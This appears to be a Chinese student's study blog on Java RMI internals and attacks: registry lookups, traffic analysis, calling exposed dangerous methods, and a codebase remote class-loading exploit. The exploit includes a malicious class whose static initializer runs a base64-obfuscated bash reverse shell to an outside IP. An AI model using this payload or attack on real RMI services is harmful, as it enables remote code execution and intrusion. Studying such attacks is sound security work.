原本是打算在放假的使用学java的但是java内容太复杂了还有我太懒了,放假颓废了一个暑假,这才一直到开学才幡然醒悟,但是该说不说在上课的时候来学Java效率比在家里高多了嘿嘿

本问学习与p牛的java安全漫谈与GitHub上的项目javasec

什么是RMI

所谓的RMI其实是java的一种远程导入库的一种方式,其是由Registry,Sever 还有Client组成


通过图我们也可以看出来其交互过程为,Server创建远程对象而后组成Regisry,Client通过Regisry来查询自己要获取的对象。而后Regitry来放回远程调用对象的存根,而后stub与skeleton进行交互,而skeleton与远程对象进行交互

但是经过查阅java早在Java 2 SDK 1.2是就已经不使用skeleton了,而stub也不需要用户手动定义,所以真正的交互应该是stub和远程对象进行交互。

RMI的服务的分为接口,远程对象和注册表
我们使用代码来对RMI进行理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//接口->RMIHello.java
package org.LSE;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RMIHello extends Remote{
public String Hello(String c) throws RemoteException;
}
//实现接口->Server.java
package org.LSE;
import java.rmi.*;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class Server {
//创建远程对象类的接口
public class LSEHello extends UnicastRemoteObject implements RMIHello {
public LSEHello() throws RemoteException {
super();//调用UnicastRemoteObject的构造函数
}
public String Hello(String c) throws RemoteException {
return "Hello"+c;
}
}//完成接口

}
// Registry.java
package org.LSE;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class Registry {
private void start() throws Exception {
LocateRegistry.createRegistry(1007);
Server ser = new Server();
Server.LSEHello hello=ser.new LSEHello();
Naming.rebind("rmi://127.0.0.1:1007/Hello", hello);
}
public static void main(String[] args) throws Exception {
Registry start = new Registry();
start.start();
}
}

Clinet端需要一个和Server端一模一样的接口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// RMIHello.java
package org.LSE;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIHello extends Remote {
public String Hello(String c) throws RemoteException;
}
// Client.java
package org.LSE;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
public static void main(String[] args) throws Exception {
//Registry registry = LocateRegistry.getRegistry("127.0.0.1",1007);
// 查找远程对象
RMIHello hello = (RMIHello) Naming.lookup("rmi://127.0.0.1:1007/Hello");

// 调用远程方法
String response = hello.Hello("World");
System.out.println(response);
}


}

注意其接口的包名也需与Server接口包名相同
当然生成挂载类和调用类的方法很多如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//Sever
public class registry {
private void start() throws Exception {
Registry r=LocateRegistry.createRegistry(1007);
Server ser = new Server();
Server.LSEHello hello=ser.new LSEHello();
r.rebind("rmi://127.0.0.1:1007/Hello", hello);
//Naming.rebind("rmi://127.0.0.1:1007/Hello", hello);
}
public static void main(String[] args) throws Exception {
registry start = new registry();
start.start();
}
}
//Client
public class Client {
public static void main(String[] args) throws Exception {
Registry r = LocateRegistry.getRegistry("127.0.0.1",1007);
RMIHello hello = (RMIHello) r.lookup("rmi://127.0.0.1:1007/Hello");
// 查找远程对象
//RMIHello hello = (RMIHello) Naming.lookup("rmi://127.0.0.1:1007/Hello");

// 调用远程方法
String response = hello.Hello("World");
System.out.println(response);
}


}

要想分析RMI的过程我们需要对这个通信过程进行抓包。
抓到包后我们发现其进行了如下图的两次tcp的握手

第一次的tcp我们可以看出来是客户端向远端的1007端口即registry发送请求,之后远端放回响应。

第二次tcp握手我们会发现其向远端的14956端口发送了请求,那么现在就有一个问题了,客户端是怎么知道14956这个端口的。我们查看一下流量会发现其在第一次握手后客户端向远端发送了一个”call”消息,而远端返回了一个”ReturnData”返回的DATA响应包如下

会发现其是一个序列化后的响应包而在ip后的\x00\x00\x3a\x6c其实是端口14956的网络序列

这个的整体过程就是,客户端先与远端的Registry进行连接而后向Registry发送请求寻找name为Hello这个对象,Registry返回一个DATA这个DATA就是这个Hello这个远程对象的一个引用(stub),客户端反序列化后发现该数据是远程对象的存根,该存根对象内存储的远程对象的ip和端口等,于是客户端再次与远程对象连接来的调用远程对象Hello,即对象的调用是发生在第二次tcp连接的。
并且其实远程方法其实是在RMI Server上执行的

RMI的一些攻击手段

RMI服务器挂载了一些危险方法

首先我们可以把Registry想象成一个管理远程对象的一个后台,即我们知道了Registry就可以对远程对象进行一些调用,但是很可惜我们无法修改Registry上的类,java在我们使用Naming.rebind的时候会判断我们是否是localhost的只有localhost才可以修改Registry上挂载的类。
我们虽然无法修改类,但却可以调用类,使用Naming.list来查看其是否存在危险类,若存在我们就可以直接调用,而调用的远程对象其实是在远端服务器上运行的。

我们在Registry加上一个Runtime的恶意类


用list可以看到这个Run类
在虚拟机中运行

1
2
3
4
5
6
7
public class Client {
public static void main(String[] args) throws Exception {
LocateRegistry.getRegistry("192.168.20.1",1007);
runtime Run=(runtime) Naming.lookup("rmi://192.168.20.1:1007/Run");
Run.run("calc");
}
}

会发现弹出计算机

使用codebase攻击

在RMI中存在这远程加载类的场景,其中涉及到了codebase。
当服务器安装并配置了SecurityManager时我们就可以使用codebase
codebase是一个url地址,该地址包含了一个java的类文件,当codebase传到Registry服务器时,服务器会先搜索看自己是否有这个类文件,如果没有就调用这个远程的codebase的类文件。
那么只要我们能够操控codebase让其加载恶意类文件不就可以命令执行了。

当然了像这种明显的漏洞官方自然是知道的,于是官方在java版本7u21、6u45之后把java.rmi.server.useCodebaseOnly的默认配置由改为了true。而当java.rmi.server.useCodebaseOnly=true时远程的RMI服务之后执行已经预设定好的codebase的类,若codebase的类不是预设的就会报错。

而java.rmi.server.useCodebaseOnly=false时就存在这个漏洞。
即当java版本低于7u21、6u45或者java.rmi.server.useCodebaseOnly=false时我们可以尝试使用codebase进行攻击

代码如下
首先是Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
//RemoteRMIServer.java
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;
public class RemoteRMIServer {
private void start() throws Exception {
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
}

Calc h = new Calc();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://192.168.20.1:1099/refObj", h);
}
public static void main(String[] args) throws Exception {
new RemoteRMIServer().start();
}
}
//Calc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;
public class Calc extends UnicastRemoteObject implements ICalc {
public Calc() throws RemoteException {}
public Integer sum(List<Integer> params) throws RemoteException {
Integer sum = 0;
for (Integer param : params) {
sum += param;
}
return sum;
}
}

//ICalc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
public Integer sum(List<Integer> params) throws RemoteException;
}

// 使用List类来坐参数是因为我们如果想要服务端调用我们codebase的恶意类首先要传输给服务端这个恶意类的类,而我们像传给其信息只能在接口参数动手脚,但是接口的参数类型是写死的,但是类可以继承于Arraylist这个类,这导致我们可以将恶意类定义为List类型如何传给服务端,从而让服务端去codebase查找恶意类

// Server.policy
grant {
permission java.security.AllPermission;
};
//这个文件是为了让客户端访问其时有最大限度的权限,这样才可以让其访问codebase指向的url

Cient.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

//Cient.java
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class Client implements Serializable {
public class Run extends ArrayList<Integer> {}
public void lookup() throws Exception {
ICalc r = (ICalc) Naming.lookup("rmi://192.168.20.128:1099/refObj");
List<Integer> li = new Run();
li.add(3);
li.add(4);
System.out.println(r.sum(li));
}
public static void main(String[] args) throws Exception {
new Client().lookup();
}
}

一开始看p牛文章的时候我发现其是使用如上的Cient端来像Server端发送请求的,那么这时Server需要到codebase寻找的恶意类Run就是Client$Run.class那么我们就需要在Client里写一个内置类在内置类里写一个static来让其在被加载时会被调用如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.IOException;
import java.util.ArrayList;
public class Client {
public class Run extends ArrayList<Integer> {
static {
try {
Runtime.getRuntime().exec("whoami");
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMjMwLjM4LjE1OS83Nzc3IDA+JjEnCg==}|{base64,-d}|{bash,-i}");
System.out.println("success");
} catch (IOException e) {
e.printStackTrace();
}
}
}

}


我们可以发现其在jdk16才支持于类内定义Static。当然只要升级运行jDK版本即可。

但是有点小小的麻烦,于是我发现可以只要在Client外定义一个继承了List的Run类然后直接在Cilen里实例化后传参即可如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//Client.java
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class Client implements Serializable {
public void lookup() throws Exception {
ICalc r = (ICalc) Naming.lookup("rmi://192.168.20.128:1099/refObj");
List<Integer> li = new Run();
li.add(3);
li.add(4);
System.out.println(r.sum(li));
}
public static void main(String[] args) throws Exception {
new Client().lookup();
}
}
//Run.java
import java.io.IOException;
import java.util.ArrayList;
public class Run extends ArrayList<Integer> {
static {
try {
Runtime.getRuntime().exec("whoami");
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC4xNTkvNzc3NyAwPiYxJw==}|{base64,-d}|{bash,-i}");
System.out.println("success");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws ClassNotFoundException {
Class.forName("Run");
}

}

Run.java于Cilent放在同一个包下,而Run.java又是恶意类的java源码。
我们使用如下代码启动Server类
1
java -Djava.rmi.server.hostname=192.168.135.142 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer

Client启动
1
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ Client

http://example.com/为我们放置恶意类的地方。我这里用的时python的http服务
在我们启动了Cient请求Server时我们会发现其因为服务器内没有Run.class这个类所以像codebase请求了Run.java

之后成功反弹了shell即加载了Run.class

分析一下RMI在codebase攻击时的流量

我们来看需要RMI_cdebase攻击的流量是什么样的,我们可以用流量来尝试分析codebase是在哪个点被加载活传入的

我们可以看到Call消息的包里有一个java序列化的消息,我们可以使用一个工具来将将序列化内容的16进制字符进行反序列查看内容。SerializationDumper

我们可以看到这个Call消息
想要看懂他我们需要配合文档来查看Java 对象序列化规范
当然对我来说,光看这个文档我肯定是看不懂的,所以我还配合了ai让我理解这些都是啥

总的来说这些流数据的组成其实就是两个大部流头部(STREAM_MAGIC 和 STREAM_VERSION)流内容(Contents)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
1. 流头部
STREAM_MAGIC 和 STREAM_VERSION:流的魔数和版本信息,分别是 0xaced 和 0x05。它们总是出现在序列化流的开始位置,用来标识这是一个Java对象流。
2. 流内容(contents)
流内容可以包含多个对象或块数据,结构上由不同的标记(标识符)来表示对象、数组、字符串、类描述符等。

content:表示序列化流的实际内容,可以是一个对象(object)或块数据(blockdata)。
3. 对象(object)
newObject、newClass、newArray、newString、newEnum 等:表示序列化中的新对象类型。每种类型都有特定的标识符(例如 TC_OBJECT、TC_CLASS)。

prevObject、nullReference、exception 等:表示引用类型的对象,例如之前出现的对象(prevObject),null引用(nullReference),或者一个异常对象(exception)。

4. 类描述符(classDesc 和 classDescInfo)
类描述符用于描述序列化对象的类信息,包括类名、序列化版本UID(serialVersionUID)、字段信息和父类描述符等。

newClassDesc、TC_CLASSDESC:新类描述符的定义,包括类名、序列化版本UID等信息。

fields:字段信息描述符,描述对象的各个字段类型及名称。

5. 标记和常量
这些是流中的关键标记,用于标识序列化内容的类型:

TC_NULL、TC_REFERENCE、TC_CLASSDESC、TC_OBJECT、TC_STRING 等:表示不同类型的数据或对象。

上面的流数据涉及到了如下的语法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
stream:
magic version contents

contents:
content
contents content

content:
object
blockdata

object:
newObject
newClass
newArray
newString
newEnum
newClassDesc
prevObject
nullReference
exception
TC_RESET

blockdata:
blockdatashort
blockdatalong

blockdatashort:
TC_BLOCKDATA (unsigned byte)<size> (byte)[size]
newString:
TC_STRING newHandle (utf)
TC_LONGSTRING newHandle (long-utf)

我们虽然无法解读出块数据传了什么,但是我们可以看出来其传了一个String的类内容为refObj,其实也就是传了个字符串过去,这个传过去来请求Registry

查看过几个反序列流量包后发现了如下流量包

我们可以看到我们发现的codebase数据,其出现在了classAnnotations即其是通过classAnnotations来传递的,即我们只要修改classAnnotations就可以控制codebase

classAnnotations

classAnnotations其实是我们在java序列号时用到的一个类ObjectOutputStream,这个类内部存在一个方法叫annotateClass当ObjectOutputStream的子类需要向序列化文件写入一些内容时会重写这个方法,而classAnnotations其实就是annotateClass写入的内容。
在RMi中远程传输序列号是由ObjectOutputStream来进行的,而这个类也理所当然是ObjectOutputStream的子类。传入codebase其实就是调用annotateClass来重写添加序列号内容。